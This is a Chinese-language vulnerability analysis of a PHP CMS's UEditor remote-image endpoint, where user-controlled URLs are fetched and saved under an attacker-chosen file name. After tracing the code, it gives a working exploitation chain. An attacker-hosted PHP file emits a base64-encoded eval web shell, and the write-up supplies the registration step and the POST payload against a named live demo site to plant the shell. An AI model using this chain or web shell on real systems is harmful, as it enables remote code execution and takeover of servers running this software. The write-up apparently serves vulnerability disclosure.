漏洞触发点在/source/index/ueditor.ctrl.php中第177行:
public function onUeRemote(){
error_reporting(E_ERROR|E_WARNING);
$dir=isset($_GET['dir'])?get('dir','h')."/":"";
if(get('id','i')){
$dir="attach/$dir".$this->dirId(get('id','i'));
umkdir($dir);
}else{
$dir="attach/$dir".date("Y/m/d/");
umkdir($dir);
}
$source=$_POST['source'];
$list = array();
if($source){
foreach ($source as $imgUrl) {
$content=curl_get_contents($imgUrl);
$img=$dir."/".basename($imgUrl);
$img=str_replace("//","/",$img);
file_put_contents(ROOT_PATH.$img,$content);
$this->upload_oss($img);
array_push($list, array(
"state" => 'SUCCESS',
"url" => images_site($img),
"size" => 1,
"title" => " ",
"original" => $img,
"source" => htmlspecialchars($imgUrl)
));
}
}
echo json_encode(array(
'state'=> count($list) ? 'SUCCESS':'ERROR',
'list'=> $list
));
}
这是一个保存远程文件的函数,我们看一下该函数的功能实现,首先这里需要我们传入一个很重要的变量$_POST
$source=$_POST['source'];
然后我们看一下对这个我们可控的$_POST['sourse']做了哪些操作,首先,将这个$sourse遍历了出来:
foreach ($source as $imgUrl) {
$content=curl_get_contents($imgUrl);
$img=$dir."/".basename($imgUrl);
$img=str_replace("//","/",$img);
file_put_contents(ROOT_PATH.$img,$content);
$this->upload_oss($img);
对其中每一个元素都做了curl_get_contents()操作,我们跟踪一下该函数,在/skymvc/function/function.php中第489行:
/*获取远程内容*/
function curl_get_contents($url,$timeout=30,$referer="http://www.qq.com"){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Mobile/9B176 MicroMessenger/4.3.2");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_REFERER,$referer); //伪造来路页面 防止被禁止
$content= curl_exec($ch);
curl_close($ch);
return $content;
}
可以看到这是一个获取远程页面内容的函数。
然后我们继续看,接下来对每一个元素做了一个basename()的操作。
最重要的是这一行:
file_put_contents(ROOT_PATH.$img,$content);
这是一个写文件的操作,首先ROOT_PATH.$img是我们写的路径,而$content是我们写的内容。
我们看一下路径的形成,也就是$Img的形成,恰好是basename()后的值。意味着后缀是我们可控的。
而内容是网页的内容,也是我们可控的。后缀可控,内容可控,所以我们可以getshell。
漏洞利用方式:
我们首先要准备一个开启了web服务的远程服务器(IP地址为x.x.x.x)。然后创建一个php文件,我这里创建的是balisong.php,内容如下:
<?php
echo base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydiYWxpc29uZyddKTs/Pg==');
?>
其中这一串base64的明文是:
<?php @eval($_POST['balisong']);?>
然后我们将这个balisong.php放在服务器上。
然后我们开始去官方demo进行测试:
首先我们要访问
http://xyo2o.deitui.com/index.php?m=register
然后注册一个账号登陆上,然后开始访问payload:
http://xyo2o.deitui.com/index.php?m=ueditor&a=UeRemote
POST:source[]=x.x.x.x/balisong.php
然后提交就可以看到返回的shell地址了: